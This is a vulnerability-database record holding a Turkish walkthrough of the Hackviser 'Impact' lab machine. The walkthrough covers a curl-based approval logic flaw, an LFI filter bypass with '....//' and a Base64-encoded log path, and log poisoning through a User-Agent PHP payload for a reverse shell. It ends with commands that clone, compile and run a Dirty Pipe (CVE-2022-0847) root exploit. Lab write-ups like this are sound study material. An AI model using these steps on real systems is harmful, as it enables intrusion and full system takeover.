{"uuid": "8122b591-dcf6-40a7-a539-453e272f6d48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0847", "type": "seen", "source": "https://gist.github.com/the-abra/c510ddb94dda4bdce9c353a7e6d6ff04", "content": "\n# Operasyon G\u00fcnl\u00fc\u011f\u00fc: Impact (Hackviser) S\u0131zma Testi Raporu\n\nHackviser platformunda yer alan ve zorluk derecesi \"Orta\" olarak belirlenen **Impact** makinesi, temelde bir web mant\u0131k hatas\u0131ndan yola \u00e7\u0131karak Yerel Dosya \u00c7a\u011f\u0131rma (LFI) zafiyetine, oradan da kritik bir \u00e7ekirdek (kernel) a\u00e7\u0131\u011f\u0131yla tam sistem eri\u015fimine uzanan keyifli bir s\u0131zma senaryosudur. \n\nA\u015fa\u011f\u0131da, hedefe giden yolun tamamen yenilenmi\u015f ve taktiksel ad\u0131mlara b\u00f6l\u00fcnm\u00fc\u015f d\u00f6k\u00fcm\u00fcn\u00fc bulabilirsiniz.\n\n---\n\n## Faz 1: Y\u00fczey Analizi ve Ayak \u0130zi Toplama\n\nSisteme k\u00f6r\u00fc k\u00f6r\u00fcne sald\u0131rmak yerine \u00f6nce kap\u0131lar\u0131 ve pencereleri yoklayarak ba\u015fl\u0131yoruz.\n\n**A\u011f Taramas\u0131 (Port &amp; Servisler):**\nStandart taramalar\u0131m\u0131z sonucunda hedef sistemin d\u0131\u015far\u0131ya sadece iki kap\u0131 a\u00e7t\u0131\u011f\u0131n\u0131 tespit ettik:\n*   **Port 22 (SSH):** G\u00fcvenli kabuk eri\u015fimi (\u015eimdilik elimizde ge\u00e7erli bir kimlik bilgisi yok).\n*   **Port 80 (HTTP):** Ana sald\u0131r\u0131 y\u00fczeyimiz olan web sunucusu.\n\n**Dizin Ke\u015ffi (Fuzzing):**\nWeb sunucusunun k\u00f6k dizininde ve alt klas\u00f6rlerinde neler sakland\u0131\u011f\u0131n\u0131 anlamak i\u00e7in bir kelime listesi taramas\u0131 ger\u00e7ekle\u015ftirdik. Kar\u015f\u0131m\u0131za \u00e7\u0131kan harita \u015fu \u015fekildeydi:\n*   `/login.php` (200 OK)\n*   `/index.php` (302 Y\u00f6nlendirme)\n*   `/register.php`\n*   `/webadmin/` ve alt dizinleri (`components/`, `assets/`, `tables/`)\n*   `/uploads/`\n\n---\n\n## Faz 2: Web Katman\u0131n\u0131 K\u0131rmak ve \u0130\u015flem Sahtekarl\u0131\u011f\u0131\n\n\u0130lk ad\u0131m olarak kimlik do\u011frulama formuna odakland\u0131m. Veritaban\u0131n\u0131 kand\u0131rmak i\u00e7in klasik SQL Enjeksiyonu (SQLi) denemeleri ve kaba kuvvet (brute-force) sald\u0131r\u0131lar\u0131 yapt\u0131m ancak sistem bu basit hamleleri savu\u015fturdu.\n\n&gt; *Not: Sisteme normal bir kullan\u0131c\u0131 olarak kay\u0131t olup ilk bayra\u011f\u0131 elde etmi\u015f olsak da, as\u0131l kritik b\u00f6lgeye ge\u00e7i\u015f i\u00e7in bir t\u0131kan\u0131kl\u0131k ya\u015f\u0131yorduk.*\n\n**Y\u00f6nlendirme Zafiyeti ve S\u0131zan Bilgiler:**\nTrafi\u011fi Burp Suite \u00fczerinden analiz ederken kritik bir detay g\u00f6z\u00fcme \u00e7arpt\u0131. `/webadmin/index.php` sayfas\u0131 bizi 302 koduyla d\u0131\u015far\u0131 at\u0131yordu ancak y\u00f6nlendirme ger\u00e7ekle\u015fmeden hemen \u00f6nce yan\u0131t g\u00f6vdesinde (response body) sayfan\u0131n i\u00e7eriklerini s\u0131zd\u0131r\u0131yordu. Bu s\u0131z\u0131nt\u0131 sayesinde hem bir sonraki bayra\u011f\u0131 hem de gizli bir y\u00f6netim sayfas\u0131n\u0131n adresini yakalad\u0131m: `/webadmin/tables/datatables.php`.\n\n**Mant\u0131k Hatas\u0131 (Logic Flaw):**\nKendi hesab\u0131mdaki \"Y\u00f6netici Onay\u0131 Bekliyor\" durumunu a\u015fmak i\u00e7in buldu\u011fum yeni adrese `GET` iste\u011fi att\u0131m. Sayfan\u0131n kaynak kodlar\u0131n\u0131 incelerken, arka planda \u00e7al\u0131\u015fan ve do\u011frudan `/sendFile.php` adresine veri g\u00f6nderen gizli bir form tespit ettim. \n\nFormu `curl` komutu ile manip\u00fcle ederek, sistemin beni `orion` kullan\u0131c\u0131s\u0131 olarak onaylamas\u0131n\u0131 sa\u011flad\u0131m:\n\n```bash\ncurl -X POST -d \"username=orion\" [http://impact.hv/sendFile.php](http://impact.hv/sendFile.php)\n\n```\n\nBu hamle sonras\u0131nda hesab\u0131m \"Onayl\u0131\" duruma ge\u00e7ti ve eri\u015fime kapal\u0131 olan `http://impact.hv/profile.php` sayfas\u0131 art\u0131k kullan\u0131m\u0131mdayd\u0131.\n\n---\n\n## Faz 3: LFI Filtrelerini A\u015fmak ve Ters Ba\u011flant\u0131 (Reverse Shell)\n\nProfil sayfas\u0131ndaki etkile\u015fimli butonlar\u0131n her biri sunucuya \u015fu formatta bir istek g\u00f6nderiyordu:\n`http://impact.hv/search.php?name=dmVydGV4dGVjaG5vbG9naWVzLnNxbA`\n\nBuradaki `name` parametresinin Base64 ile \u015fifrelendi\u011fini fark etmek zor olmad\u0131. Hemen bir LFI (Yerel Dosya \u00c7a\u011f\u0131rma) denemesi yapmak istedim ancak sunucu standart `../` dizin atlama karakterlerini engelliyordu.\n\n**Filtre Atlatma (Bypass):**\nFiltreyi \u015fa\u015f\u0131rtmak i\u00e7in `....//` dizilimini kulland\u0131m. Sunucu bu ifadeyi i\u015flerken aradaki noktalar\u0131 ve e\u011fik \u00e7izgileri silip geriye standart bir `../` b\u0131rakarak kendi filtresini kendi kendine k\u00f6r ediyordu.\n\n* **Hedef Dosya:** `/var/log/apache2/access.log`\n* **Base64 \u00c7evirisi:** `Li4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzcy5sb2c=`\n\n```http\nGET /search.php?name=Li4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzcy5sb2c= HTTP/1.1\n\n```\n\n**Log Zehirlenmesi (Log Poisoning) ile RCE:**\nLog dosyas\u0131n\u0131 okuyabildi\u011fimi kan\u0131tlad\u0131ktan sonra (boyut sorunlar\u0131 y\u00fcz\u00fcnden makineyi yeniden ba\u015flatmam gerekti), loglar\u0131n i\u00e7ine zararl\u0131 bir PHP kodu enjekte etmeye karar verdim. `curl` arac\u0131yla hedef sunucuya giderken \"User-Agent\" k\u0131sm\u0131na ters ba\u011flant\u0131 (reverse shell) kodumu yerle\u015ftirdim:\n\n```bash\ncurl -A \" '); ?&gt;\" [http://impact.hv/curl](http://impact.hv/curl) \n\n```\n\nHemen ard\u0131ndan netcat ile dinlemeye ge\u00e7ip, yukar\u0131daki LFI iste\u011fini tekrar tetikledi\u011fimde, Apache log dosyas\u0131 \u00e7al\u0131\u015ft\u0131r\u0131ld\u0131 ve i\u00e7erisindeki PHP kodum sayesinde sunucuda komut \u00e7al\u0131\u015ft\u0131rma yetkisi (Shell) kazand\u0131m.\n\n\u0130lk i\u015f olarak hedef bayra\u011f\u0131 okudum:\n\n```bash\ncat /home/impact/targets.txt\n\n```\n\n---\n\n## Faz 4: \u00c7ekirdek \u0130stismar\u0131 ve Mutlak G\u00fc\u00e7 (Privilege Escalation)\n\nD\u00fc\u015f\u00fck yetkili bir kullan\u0131c\u0131 olarak i\u00e7erideyiz ancak hedefimiz her zaman `root` olmakt\u0131r. Sistemin kernel s\u00fcr\u00fcm\u00fcn\u00fc kontrol etti\u011fimde, Linux tarihindeki en pop\u00fcler zafiyetlerden biri olan **Dirty Pipe (CVE-2022-0847)** i\u00e7in savunmas\u0131z oldu\u011funu g\u00f6rd\u00fcm.\n\nZafiyeti s\u00f6m\u00fcrmek i\u00e7in gerekli arac\u0131 GitHub \u00fczerinden hedef makineye \u00e7ektim ve derledim:\n\n```bash\n# Exploit'i indirip derleme a\u015famas\u0131\ngit clone [https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git](https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git)\ncd CVE-2022-0847-DirtyPipe-Exploits\nbash compile.sh\n\n# \u0130stismar\u0131 tetikleme (\u0130ki farkl\u0131 y\u00f6ntem)\n# Y\u00f6ntem 1: Do\u011frudan shell almak\n./exploit-1\n\n# Y\u00f6ntem 2: Root parolas\u0131n\u0131 manip\u00fcle ederek SUID \u00fczerinden ilerlemek\n./exploit-2 /usr/bin/passwd\n\n```\n\nExploit ba\u015far\u0131yla \u00e7al\u0131\u015ft\u0131ktan sonra komut sat\u0131r\u0131nda `#` i\u015faretini g\u00f6rd\u00fcm. Sistem art\u0131k tamamen kontrol\u00fcm alt\u0131ndayd\u0131.", "creation_timestamp": "2026-05-17T19:21:34.000000Z"}